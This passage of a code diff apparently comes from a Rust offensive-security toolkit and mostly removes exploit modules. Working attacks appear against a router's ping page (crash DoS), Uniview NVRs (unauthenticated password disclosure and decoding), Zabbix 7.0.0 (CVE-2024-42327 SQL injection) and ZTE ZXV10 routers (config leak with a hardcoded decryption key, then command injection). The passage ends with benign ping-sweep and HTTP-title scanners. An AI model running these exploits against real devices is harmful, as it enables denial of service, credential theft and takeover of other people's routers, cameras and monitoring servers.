// a user must physically reboot the router.
use anyhow::Result;
use base64::{engine::general_purpose, Engine as _};
use reqwest::{Client, header::HeaderMap};
use std::io;
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
/// Normalize IP to handle IPv6 and multiple brackets
fn normalize_ip(ip: &str) -> String {
// Remove all surrounding brackets
let mut ip = ip.trim_matches('[').trim_matches(']').to_string();
// Add brackets for IPv6
if ip.contains(':') && !ip.starts_with('[') {
ip = format!("[{}]", ip);
}
ip
}
/// Internal function to send crafted request to crash router
async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
// Normalize the IP for correct URL formatting
let ip = normalize_ip(ip);
// Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_"
let crash_pattern = "crash_crash_on_a_loop_";
let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192
let payload = &repeated[..192]; // truncate to exact length
// Construct vulnerable URL
let target_url = format!(
"http://{ip}:{port}/userRpm/PingIframeRpm.htm?ping_addr={payload}&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20",
ip = ip,
port = port,
payload = payload
);
// Build basic auth header
let credentials = format!("{username}:{password}");
let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());
// Prepare HTTP headers
let mut headers = HeaderMap::new();
headers.insert("Host", format!("{ip}:{port}", ip = ip, port = port).parse()?);
headers.insert("Authorization", format!("Basic {}", encoded_credentials).parse()?);
headers.insert("Upgrade-Insecure-Requests", "1".parse()?);
headers.insert("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36".parse()?);
headers.insert("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9".parse()?);
headers.insert("Referer", format!("http://{ip}:{port}/userRpm/DiagnosticRpm.htm", ip = ip, port = port).parse()?);
headers.insert("Accept-Encoding", "gzip, deflate".parse()?);
headers.insert("Accept-Language", "en-US,en;q=0.9".parse()?);
headers.insert("Connection", "close".parse()?);
let client = Client::builder()
.default_headers(headers)
.build()?;
let response = client.get(&target_url).send().await?;
if response.status().as_u16() == 200 {
println!("[+] Server Crashed (200 OK received)");
let body = response.text().await.unwrap_or_default();
println!("{}", body);
} else {
println!(
"[-] Script Completed with status code: {}",
response.status()
);
}
// Check if the host is still up — timeout after 1 second
match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
Ok(Ok(_)) => {
println!("[!] Target still responds on port {}. DoS likely failed.", port);
}
_ => {
println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port);
}
}
Ok(())
}
/// Entry point required by auto-dispatch
pub async fn run(target: &str) -> Result<()> {
println!("Enter router port (default is 8082): ");
let mut port_str = String::new();
io::stdin().read_line(&mut port_str)?;
let port: u16 = port_str.trim().parse().unwrap_or(8082);
println!("Enter username: ");
let mut username = String::new();
io::stdin().read_line(&mut username)?;
let username = username.trim();
println!("Enter password: ");
let mut password = String::new();
io::stdin().read_line(&mut password)?;
let password = password.trim();
execute(target, port, username, password).await
}
-1
View File
@@ -1 +0,0 @@
pub mod uniview_nvr_pwd_disclosure;
@@ -1,198 +0,0 @@
use anyhow::{anyhow, Context, Result};
use quick_xml::events::Event;
use quick_xml::name::QName;
use quick_xml::Reader;
use reqwest::Client;
use std::collections::HashMap;
use std::fs::OpenOptions;
use std::io::Write;
use std::time::Duration;
/// Reverses the Uniview custom encoded password
fn decode_pass(encoded: &str) -> String {
let map: HashMap<&str, &str> = [
("77","1"), ("78","2"), ("79","3"), ("72","4"), ("73","5"), ("74","6"),
("75","7"), ("68","8"), ("69","9"), ("76","0"), ("93","!"), ("60","@"),
("95","#"), ("88","$"), ("89","%"), ("34","^"), ("90","&"), ("86","*"),
("84","("), ("85",")"), ("81","-"), ("35","_"), ("65","="), ("87","+"),
("83","/"), ("32","\\"), ("0","|"), ("80",","), ("70",":"), ("71",";"),
("7","{"), ("1","}"), ("82","."), ("67","?"), ("64","<"), ("66",">"),
("2","~"), ("39","["), ("33","]"), ("94","\""), ("91","'"), ("28","`"),
("61","A"), ("62","B"), ("63","C"), ("56","D"), ("57","E"), ("58","F"),
("59","G"), ("52","H"), ("53","I"), ("54","J"), ("55","K"), ("48","L"),
("49","M"), ("50","N"), ("51","O"), ("44","P"), ("45","Q"), ("46","R"),
("47","S"), ("40","T"), ("41","U"), ("42","V"), ("43","W"), ("36","X"),
("37","Y"), ("38","Z"), ("29","a"), ("30","b"), ("31","c"), ("24","d"),
("25","e"), ("26","f"), ("27","g"), ("20","h"), ("21","i"), ("22","j"),
("23","k"), ("16","l"), ("17","m"), ("18","n"), ("19","o"), ("12","p"),
("13","q"), ("14","r"), ("15","s"), ("8","t"), ("9","u"), ("10","v"),
("11","w"), ("4","x"), ("5","y"), ("6","z"),
]
.iter()
.cloned()
.collect();
encoded
.split(';')
.filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
.collect()
}
/// Strip any number of nested brackets and re-wrap once if IPv6
fn normalize_target(raw: &str) -> String {
// Preserve or default to http://
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
("http://", s)
} else if let Some(s) = raw.strip_prefix("https://") {
("https://", s)
} else {
("http://", raw)
};
// Split authority vs path
let (auth, path) = match after.find('/') {
Some(i) => (&after[..i], &after[i..]),
None => (after, ""),
};
// Separate host_part and port_part
let (host_part, port_part) = if auth.starts_with('[') {
if let Some(pos) = auth.rfind(']') {
(&auth[..=pos], &auth[pos + 1..])
} else {
(auth, "")
}
} else if auth.matches(':').count() > 1 {
// IPv6 without brackets
(auth, "")
} else if let Some(pos) = auth.rfind(':') {
// IPv4 or hostname with port
(&auth[..pos], &auth[pos..])
} else {
(auth, "")
};
// Peel away *all* outer brackets
let mut inner = host_part;
while inner.starts_with('[') && inner.ends_with(']') {
inner = &inner[1..inner.len() - 1];
}
// If it looks like IPv6, re-wrap exactly once
let wrapped = if inner.contains(':') {
format!("[{}]", inner)
} else {
inner.to_string()
};
format!("{}{}{}{}", scheme, wrapped, port_part, path)
}
pub async fn run(target: &str) -> Result<()> {
println!("\nUniview NVR remote passwords disclosure!");
println!("Author: B1t (ported to Rust)\n");
// Normalize URL (scheme, IPv6 brackets, port, path)
let target = normalize_target(target);
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(10))
.build()
.context("Failed to build HTTP client")?;
// Fetch version info
println!("[+] Getting model name and software version...");
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
let version_text = client
.get(&version_url)
.send().await?
.text().await
.context("Failed to fetch version")?;
let model = version_text
.split("szDevName\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
let sw_ver = version_text
.split("szSoftwareVersion\":\"")
.nth(1)
.and_then(|s| s.split('"').next())
.unwrap_or("Unknown");
println!("Model: {}", model);
println!("Software Version: {}", sw_ver);
// Prepare log file
let mut log = OpenOptions::new()
.create(true)
.append(true)
.open("nvr-success.txt")
.context("Unable to open nvr-success.txt")?;
writeln!(log, "\n==== Uniview NVR ====").ok();
writeln!(log, "Target: {}", target).ok();
writeln!(log, "Model: {}", model).ok();
writeln!(log, "Software Version: {}", sw_ver).ok();
// Fetch user config
println!("\n[+] Getting configuration file...");
let config_url = format!(
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
target
);
let config_text = client
.get(&config_url)
.send().await?
.text().await
.context("Failed to fetch config")?;
// XML reader with trimmed text
let mut reader = Reader::from_str(&config_text);
reader.config_mut().trim_text(true);
let mut buf = Vec::new();
let mut total_users = 0;
println!("\nUser | Stored Hash | Reversible Password");
println!("{}", "_".repeat(80));
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
writeln!(log, "{}", "_".repeat(80)).ok();
loop {
match reader.read_event_into(&mut buf) {
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
let mut username = String::new();
let mut user_hash = String::new();
let mut revpass = String::new();
for attr in e.attributes().flatten() {
match attr.key {
k if k == QName(b"UserName") => username = std::str::from_utf8(&attr.value)?.to_string(),
k if k == QName(b"UserPass") => user_hash = std::str::from_utf8(&attr.value)?.to_string(),
k if k == QName(b"RvsblePass") => revpass = std::str::from_utf8(&attr.value)?.to_string(),
_ => {}
}
}
let decoded = decode_pass(&revpass);
println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
total_users += 1;
}
Ok(Event::Eof) => break,
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
_ => {}
}
buf.clear();
}
println!("\n[+] Total users: {}", total_users);
writeln!(log, "\n[+] Total users: {}", total_users).ok();
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod zabbix_7_0_0_sql_injection;
@@ -1,159 +0,0 @@
use anyhow::{anyhow, Result};
use reqwest::Client;
use serde_json::json;
use std::fs;
use std::io::{self, Write};
const HEADERS: &str = "application/json";
// Internal function renamed to `exploit_zabbix` to avoid conflicts
async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> {
let client = Client::new();
let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/'));
// // Login to get the token
let login_data = json!({
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": username,
"password": password
},
"id": 1,
"auth": null
});
let login_response = client
.post(&url)
.header("Content-Type", HEADERS)
.json(&login_data)
.send()
.await
.map_err(|e| anyhow!("Login request error: {}", e))?;
let login_response_json: serde_json::Value = login_response
.json()
.await
.map_err(|e| anyhow!("Failed to parse login response: {}", e))?;
let auth_token = login_response_json
.get("result")
.ok_or_else(|| anyhow!("Failed to retrieve auth token"))?
.as_str()
.ok_or_else(|| anyhow!("Auth token not a string"))?
.to_string();
// // SQLi test using the provided payload
let sqli_data = json!({
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1", "2"]
},
"id": 1,
"auth": auth_token
});
let test_response = client
.post(&url)
.header("Content-Type", HEADERS)
.json(&sqli_data)
.send()
.await
.map_err(|e| anyhow!("Test request error: {}", e))?;
let test_response_text = test_response
.text()
.await
.map_err(|e| anyhow!("Failed to read test response: {}", e))?;
if test_response_text.contains("\"error\"") {
println!("[-] NOT VULNERABLE.");
} else {
println!("[!] VULNERABLE.");
}
Ok(())
}
// Prompt user to choose a payload option
async fn get_payload_choice() -> Result<String> {
println!("Choose SQL payload option:");
println!("1: Load SQL payloads from file");
println!("2: Enter custom SQL payload");
println!("3: Use default SQL payload");
let mut choice = String::new();
print!("Enter your choice (1/2/3): ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut choice)
.map_err(|e| anyhow!("Failed to read choice: {}", e))?;
let choice = choice.trim();
match choice {
"1" => {
// Load from a file (e.g., sql_payloads.txt)
println!("Loading SQL payloads from file...");
let payloads = fs::read_to_string("sql_payloads.txt")
.map_err(|e| anyhow!("Error reading payload file: {}", e))?;
Ok(payloads.trim().to_string())
}
"2" => {
// Allow user to input a custom payload
println!("Enter your custom SQL payload (do not include the SELECT statement, only the payload part): ");
let mut custom_payload = String::new();
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut custom_payload)
.map_err(|e| anyhow!("Failed to read custom payload: {}", e))?;
let custom_payload = custom_payload.trim();
// Ensure the custom payload isn't empty
if custom_payload.is_empty() {
return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload."));
}
Ok(custom_payload.to_string())
}
"3" => {
// Use a default payload
println!("Using default SQL payload...");
Ok("readonly AND (SELECT(SLEEP(5)))".to_string())
}
_ => Err(anyhow!("Invalid choice, please select 1, 2, or 3.")),
}
}
// Public dispatch entry point
pub async fn run(target: &str) -> Result<()> {
println!("[*] Zabbix 7.0.0 SQL Injection Checker (CVE-2024-42327)");
println!("[*] Target API URL: {}", target);
let mut username = String::new();
let mut password = String::new();
print!("Username: ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut username)
.map_err(|e| anyhow!("Failed to read username: {}", e))?;
print!("Password: ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut password)
.map_err(|e| anyhow!("Failed to read password: {}", e))?;
let username = username.trim();
let password = password.trim();
// Get the payload choice from the user
let payload = get_payload_choice().await?;
// Run the exploit with the selected payload
exploit_zabbix(target, username, password, &payload).await
}
-1
View File
@@ -1 +0,0 @@
pub mod zte_zxv10_h201l_rce_authenticationbypass;
@@ -1,230 +0,0 @@
use aes::Aes128;
use anyhow::Result;
use cipher::{BlockDecrypt, KeyInit, Block};
use colored::*;
use reqwest::{Client, cookie::Jar};
use std::{
fs::{self, File},
io::{Read, Write},
net::TcpStream,
sync::Arc,
};
use tokio::time::Duration;
use std::net::ToSocketAddrs;
/// AES-128 ECB decrypt without padding
fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
if data.len() % 16 != 0 {
anyhow::bail!("ECB decryption requires block-aligned data");
}
let cipher = Aes128::new_from_slice(key)?;
let mut output = Vec::with_capacity(data.len());
for chunk in data.chunks(16) {
let mut arr = [0u8; 16];
arr.copy_from_slice(chunk);
let mut block = Block::<Aes128>::from(arr);
cipher.decrypt_block(&mut block);
output.extend_from_slice(&block);
}
Ok(output)
}
/// Extract host and port from target
fn parse_target(target: &str) -> Result<(String, u16)> {
if target.contains("]:") {
let parts: Vec<&str> = target.rsplitn(2, "]:").collect();
let port = parts[0].parse::<u16>()?;
let host = parts[1].trim_start_matches('[').to_string();
return Ok((host, port));
} else if target.contains(':') {
let parts: Vec<&str> = target.splitn(2, ':').collect();
let port = parts[1].parse::<u16>()?;
return Ok((parts[0].to_string(), port));
}
print!("{}", "[?] No port provided. Enter port: ".cyan().bold());
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let port = input.trim().parse::<u16>()?;
Ok((target.to_string(), port))
}
/// Leak the router config file
fn leak_config(host: &str, port: u16) -> Result<()> {
println!("[*] Leaking config from http://{}:{}/ ...", host, port);
// Resolve and connect with timeout
let addr = (host, port)
.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let timeout = Duration::from_secs(5);
let mut conn = TcpStream::connect_timeout(&addr, timeout)?;
let boundary = "----WebKitFormBoundarysQuwz2s3PjXAakFJ";
let body = format!(
"--{}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n\r\n--{}--\r\n",
boundary, boundary
);
let request = format!(
"POST /getpage.gch?pid=101 HTTP/1.1\r\n\
Host: {}:{}\r\n\
Content-Type: multipart/form-data; boundary={}\r\n\
Content-Length: {}\r\n\
Connection: close\r\n\r\n{}",
host, port, boundary, body.len(), body
);
conn.write_all(request.as_bytes())?;
let mut response = vec![];
conn.read_to_end(&mut response)?;
if let Some(start) = response.windows(4).position(|w| w == b"\r\n\r\n") {
let body = &response[start + 4..];
File::create("config.bin")?.write_all(body)?;
}
println!("[+] Config saved to config.bin");
Ok(())
}
/// Decrypt config and extract credentials
fn decrypt_config(config_key: &[u8]) -> Result<(String, String)> {
let mut encrypted = File::open("config.bin")?;
let mut data = vec![];
encrypted.read_to_end(&mut data)?;
let mut key16 = [0u8; 16];
key16[..config_key.len().min(16)].copy_from_slice(&config_key[..config_key.len().min(16)]);
let decrypted = decrypt_ecb_nopad(&data, &key16)?;
fs::write("decrypted.xml", &decrypted)?;
let xml = fs::read_to_string("decrypted.xml")?;
let username = xml.split("IGD.AU2").nth(1)
.and_then(|s| s.split("User").nth(1))
.and_then(|s| s.split("val=\"").nth(1))
.and_then(|s| s.split('"').next())
.unwrap_or("unknown")
.to_string();
let password = xml.split("IGD.AU2").nth(1)
.and_then(|s| s.split("Pass").nth(1))
.and_then(|s| s.split("val=\"").nth(1))
.and_then(|s| s.split('"').next())
.unwrap_or("unknown")
.to_string();
fs::remove_file("config.bin").ok();
fs::remove_file("decrypted.xml").ok();
println!("[+] Decrypted credentials: {} / {}", username, password);
Ok((username, password))
}
/// Perform login
async fn login(session: &Client, host: &str, port: u16, username: &str, password: &str) -> Result<()> {
println!("[*] Logging in to http://{}:{}/ ...", host, port);
let url = format!("http://{}:{}/", host, port);
let page = session.get(&url).send().await?.text().await?;
let token = page.split("getObj(\"Frm_Logintoken\").value = \"").nth(1)
.and_then(|s| s.split('"').next())
.ok_or_else(|| anyhow::anyhow!("Login token not found"))?;
let params = [
("Username", username),
("Password", password),
("frashnum", ""),
("Frm_Logintoken", token),
];
session.post(&url).form(&params).send().await?;
println!("[+] Login submitted.");
Ok(())
}
/// Logout
async fn logout(session: &Client, host: &str, port: u16) -> Result<()> {
let url = format!("http://{}:{}/", host, port);
session.post(&url).form(&[("logout", "1")]).send().await?;
println!("[*] Logged out.");
Ok(())
}
/// Command injection payload generator
fn command_injection(cmd: &str) -> String {
let inj = format!("user;{};echo", cmd);
inj.replace(" ", "${IFS}")
}
/// Abuse DDNS form to inject command
async fn set_ddns(session: &Client, host: &str, port: u16, payload: &str) -> Result<()> {
let url = format!(
"http://{}:{}/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch",
host, port
);
let form = [
("IF_ACTION", "apply"), ("Name", "dyndns"),
("Server", "http://www.dyndns.com/"), ("Username", payload),
("Password", "password"), ("Interface", "IGD.WD1.WCD3.WCIP1"),
("DomainName", "hostname"), ("Service", "dyndns"),
("Name0", "dyndns"), ("Server0", "http://www.dyndns.com/"),
("ServerPort0", "80"), ("UpdateInterval0", "86400"),
("RetryInterval0", "60"), ("MaxRetries0", "3"),
("Name1", "No-IP"), ("Server1", "http://www.noip.com/"),
("ServerPort1", "80"), ("UpdateInterval1", "86400"),
("RetryInterval1", "60"), ("MaxRetries1", "3"),
("Enable", "1"), ("HostNumber", "")
];
println!("[*] Sending command injection payload...");
session.post(&url).form(&form).send().await?;
println!("[+] Payload delivered.");
Ok(())
}
/// Exploit wrapper
async fn exploit(config_key: &[u8], host: &str, port: u16) -> Result<()> {
let cookie_jar = Arc::new(Jar::default());
let session = Client::builder()
.cookie_provider(cookie_jar)
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(10)) // ⏱️ HTTP timeout
.build()?;
leak_config(host, port)?;
let (username, password) = decrypt_config(config_key)?;
login(&session, host, port, &username, &password).await?;
let payload = command_injection("echo hacked > /var/tmp/pwned");
set_ddns(&session, host, port, &payload).await?;
logout(&session, host, port).await?;
println!("[✓] Exploit complete.");
Ok(())
}
/// Dispatch entry point
pub async fn run(target: &str) -> Result<()> {
let (host, port) = parse_target(target)?;
let config_key = b"Renjx%2$CjM";
match exploit(config_key, &host, port).await {
Ok(_) => {
println!("[*] Success on {}:{}", host, port);
Ok(())
}
Err(e) => {
println!("[!] Exploit failed: {}", e);
Err(e)
}
}
}
-3
View File
@@ -1,3 +0,0 @@
pub mod exploits;
pub mod scanners;
pub mod creds;
@@ -1,33 +0,0 @@
use anyhow::{Result, Context};
use regex::Regex;
use reqwest::Client;
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
let client = Client::builder()
.redirect(reqwest::redirect::Policy::limited(5))
.build()
.context("Failed to build HTTP client")?;
let title_re = Regex::new(r"(?i)<title>(.*?)</title>")?;
for scheme in ["http", "https"] {
let url = format!("{}://{}", scheme, target);
match client.get(&url).send().await {
Ok(resp) => {
let text = resp.text().await.unwrap_or_default();
if let Some(cap) = title_re.captures(&text) {
println!("[+] {} -> {}", url, cap.get(1).unwrap().as_str());
} else {
println!("[+] {} -> <no title>", url);
}
}
Err(e) => {
println!("[-] Failed {}: {}", url, e);
}
}
}
Ok(())
}
-6
View File
@@ -1,6 +0,0 @@
pub mod sample_scanner;
pub mod ssdp_msearch;
pub mod port_scanner;
pub mod stalkroute_full_traceroute;
pub mod http_title_scanner;
pub mod ping_sweep;
-540
View File
@@ -1,540 +0,0 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use ipnet::IpNet;
use std::{
collections::HashSet,
fs::File,
io::{self, BufRead, BufReader, Write},
net::{IpAddr, SocketAddr},
sync::{
atomic::{AtomicUsize, Ordering},
Arc,
},
};
use tokio::{net::TcpStream, process::Command, sync::Semaphore, time::Duration};
#[derive(Clone, Debug)]
struct PingConfig {
targets: Vec<IpNet>,
methods: Vec<PingMethod>,
concurrency: usize,
timeout_secs: u64,
verbose: bool,
}
#[derive(Clone, Debug)]
enum PingMethod {
Icmp,
Tcp { ports: Vec<u16> },
}
impl PingMethod {
fn describe(&self) -> String {
match self {
PingMethod::Icmp => "ICMP".to_string(),
PingMethod::Tcp { ports } => {
if ports.len() == 1 {
format!("TCP/{}", ports[0])
} else {
format!(
"TCP [{}]",
ports
.iter()
.map(u16::to_string)
.collect::<Vec<_>>()
.join(",")
)
}
}
}
}
fn label(&self) -> &'static str {
match self {
PingMethod::Icmp => "ICMP",
PingMethod::Tcp { .. } => "TCP",
}
}
async fn probe(&self, ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
match self {
PingMethod::Icmp => icmp_probe(ip, timeout).await,
PingMethod::Tcp { ports } => tcp_probe(ip, ports, timeout).await,
}
}
}
/// Main entry point triggered via the dispatcher
pub async fn run(initial_target: &str) -> Result<()> {
let config = gather_configuration(initial_target)?;
execute_ping_sweep(&config).await
}
fn parse_target(input: &str) -> Result<IpNet> {
if let Ok(net) = input.parse::<IpNet>() {
return Ok(net);
}
if let Ok(ip) = input.parse::<IpAddr>() {
let prefix = match ip {
IpAddr::V4(_) => 32,
IpAddr::V6(_) => 128,
};
let cidr = format!("{}/{}", ip, prefix);
let net = cidr
.parse::<IpNet>()
.context("failed to convert host to /32 or /128 network")?;
return Ok(net);
}
Err(anyhow!("Invalid target '{}'. Use IP or IP/CIDR.", input))
}
fn gather_configuration(initial: &str) -> Result<PingConfig> {
println!("{}", "=== Ping Sweep Configuration ===".bold());
let mut nets: Vec<IpNet> = Vec::new();
let initial_trimmed = initial.trim();
if !initial_trimmed.is_empty() {
match parse_target(initial_trimmed) {
Ok(net) => {
println!(
"{}",
format!("[*] Loaded initial target {}", net).green()
);
nets.push(net);
}
Err(e) => {
eprintln!(
"{}",
format!(" Initial target '{}' skipped: {}", initial_trimmed, e)
.yellow()
);
}
}
}
if prompt_yes_no("Add additional targets manually?", false)? {
loop {
let entry = prompt_line(
"Enter target (IP or CIDR, leave blank to stop): ",
true,
)?;
if entry.is_empty() {
break;
}
match parse_target(&entry) {
Ok(net) => {
println!("{}", format!(" + {}", net).cyan());
nets.push(net);
}
Err(e) => {
eprintln!("{}", format!(" ! {}", e).red());
}
}
}
}
if prompt_yes_no("Load targets from file?", false)? {
let path = prompt_line("Path to file: ", false)?;
let file_targets = load_targets_from_file(&path)?;
if file_targets.is_empty() {
println!("{}", " No targets parsed from file.".yellow());
} else {
println!(
"{}",
format!(
" Loaded {} targets from '{}'",
file_targets.len(),
path
)
.green()
);
nets.extend(file_targets);
}
}
if nets.is_empty() {
return Err(anyhow!(
"No valid targets supplied. Provide at least one IP or subnet."
));
}
// Deduplicate targets
let mut unique: HashSet<IpNet> = HashSet::new();
for net in nets {
unique.insert(net);
}
let targets: Vec<IpNet> = unique.into_iter().collect();
let timeout_secs =
prompt_u64("Probe timeout (seconds)", 3, Some(1), Some(60))?;
let concurrency =
prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
let methods = loop {
let mut methods = Vec::new();
if prompt_yes_no("Use ICMP ping (system ping/ping6)?", true)? {
methods.push(PingMethod::Icmp);
}
if prompt_yes_no("Use TCP connect probes?", false)? {
let default_ports = "80,443";
let port_input =
prompt_with_default("TCP ports (comma separated)", default_ports)?;
let ports = parse_ports(&port_input)?;
if ports.is_empty() {
println!("{}", " No valid ports provided.".yellow());
} else {
methods.push(PingMethod::Tcp { ports });
}
}
if methods.is_empty() {
println!("{}", "Select at least one method.".red().bold());
continue;
}
break methods;
};
println!(
"{}",
format!(
"\n[*] Targets: {} | Methods: {} | Concurrency: {} | Timeout: {}s",
targets.len(),
methods_summary(&methods),
concurrency,
timeout_secs
)
.bold()
);
Ok(PingConfig {
targets,
methods,
concurrency,
timeout_secs,
verbose,
})
}
fn load_targets_from_file(path: &str) -> Result<Vec<IpNet>> {
let file = File::open(path)
.with_context(|| format!("Failed to open target file '{}'", path))?;
let reader = BufReader::new(file);
let mut nets = Vec::new();
for (idx, line) in reader.lines().enumerate() {
let line = line?;
let mut content = line.split('#').next().unwrap_or("").trim().to_string();
if content.is_empty() {
continue;
}
content = content.replace(',', " ");
for token in content.split_whitespace() {
match parse_target(token) {
Ok(net) => nets.push(net),
Err(e) => {
eprintln!(
"{}",
format!(" [file:{}] skipped '{}': {}", idx + 1, token, e)
.yellow()
);
}
}
}
}
Ok(nets)
}
fn methods_summary(methods: &[PingMethod]) -> String {
methods
.iter()
.map(PingMethod::describe)
.collect::<Vec<_>>()
.join(", ")
}
async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
let mut host_set: HashSet<IpAddr> = HashSet::new();
for net in &config.targets {
for host in net.hosts() {
host_set.insert(host);
}
}
if host_set.is_empty() {
println!("{}", "No host addresses derived from supplied targets.".yellow());
return Ok(());
}
let mut hosts: Vec<IpAddr> = host_set.into_iter().collect();
hosts.sort();
let total_hosts = hosts.len();
println!(
"{}",
format!(
"\n[*] Beginning sweep of {} hosts using {} method(s)...",
total_hosts,
config.methods.len()
)
.bold()
);
let semaphore = Arc::new(Semaphore::new(config.concurrency));
let methods = Arc::new(config.methods.clone());
let timeout = Duration::from_secs(config.timeout_secs.max(1));
let verbose = config.verbose;
let success_counter = Arc::new(AtomicUsize::new(0));
let mut tasks = Vec::new();
for ip in hosts {
let sem = semaphore.clone();
let methods_clone = methods.clone();
let success_clone = success_counter.clone();
tasks.push(tokio::spawn(async move {
let permit = match sem.acquire_owned().await {
Ok(p) => p,
Err(_) => return,
};
let ip_string = ip.to_string();
let mut successes = Vec::new();
for method in methods_clone.iter() {
match method.probe(&ip, timeout).await {
Ok(mut labels) => successes.append(&mut labels),
Err(err) => {
if verbose {
eprintln!(
"{}",
format!(
"[!] {} ({}) error: {}",
ip_string,
method.label(),
err
)
.yellow()
);
}
}
}
}
drop(permit);
if !successes.is_empty() {
success_clone.fetch_add(1, Ordering::Relaxed);
println!(
"{}",
format!(
"[+] Host {} is up ({})",
ip_string,
successes.join(", ")
)
.green()
);
} else if verbose {
println!("{}", format!("[-] Host {} is down", ip_string).dimmed());
}
}));
}
for task in tasks {
let _ = task.await;
}
let up_hosts = success_counter.load(Ordering::Relaxed);
println!(
"{}",
format!(
"\n[*] Sweep complete: {}/{} hosts responded.",
up_hosts, total_hosts
)
.bold()
);
Ok(())
}
async fn icmp_probe(ip: &IpAddr, timeout: Duration) -> Result<Vec<String>> {
let cmd = if ip.is_ipv4() { "ping" } else { "ping6" };
let wait_secs = timeout.as_secs().max(1).to_string();
let ip_str = ip.to_string();
let result = tokio::time::timeout(
timeout,
Command::new(cmd)
.args(["-c", "1", "-W", &wait_secs, &ip_str])
.output(),
)
.await;
match result {
Ok(Ok(output)) => {
if output.status.success() {
Ok(vec!["ICMP".to_string()])
} else {
Ok(Vec::new())
}
}
Ok(Err(err)) => Err(err.into()),
Err(_) => Ok(Vec::new()),
}
}
async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
let mut successes = Vec::new();
for port in ports {
let socket = SocketAddr::new(*ip, *port);
match tokio::time::timeout(timeout, TcpStream::connect(socket)).await {
Ok(Ok(stream)) => {
successes.push(format!("TCP/{}", port));
drop(stream);
}
Ok(Err(_)) => {}
Err(_) => {}
}
}
Ok(successes)
}
fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
print!("{}", message.cyan().bold());
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_string();
if !allow_empty && trimmed.is_empty() {
return Err(anyhow!("Input cannot be empty."));
}
Ok(trimmed)
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
print!(
"{}",
format!("{} [{}]: ", message, default).cyan().bold()
);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
let default_hint = if default_yes { "Y/n" } else { "y/N" };
loop {
print!(
"{}",
format!("{} [{}]: ", message, default_hint).cyan().bold()
);
io::stdout().flush()?;
let mut input = String::new();
io::stdin().read_line(&mut input)?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Please answer with 'y' or 'n'.".yellow()),
}
}
}
fn prompt_usize(
message: &str,
default: usize,
min: Option<usize>,
max: Option<usize>,
) -> Result<usize> {
loop {
let response = prompt_with_default(message, &default.to_string())?;
match response.parse::<usize>() {
Ok(value) => {
if let Some(minimum) = min {
if value < minimum {
println!(
"{}",
format!("Value must be >= {}", minimum).yellow()
);
continue;
}
}
if let Some(maximum) = max {
if value > maximum {
println!(
"{}",
format!("Value must be <= {}", maximum).yellow()
);
continue;
}
}
return Ok(value);
}
Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
}
}
}
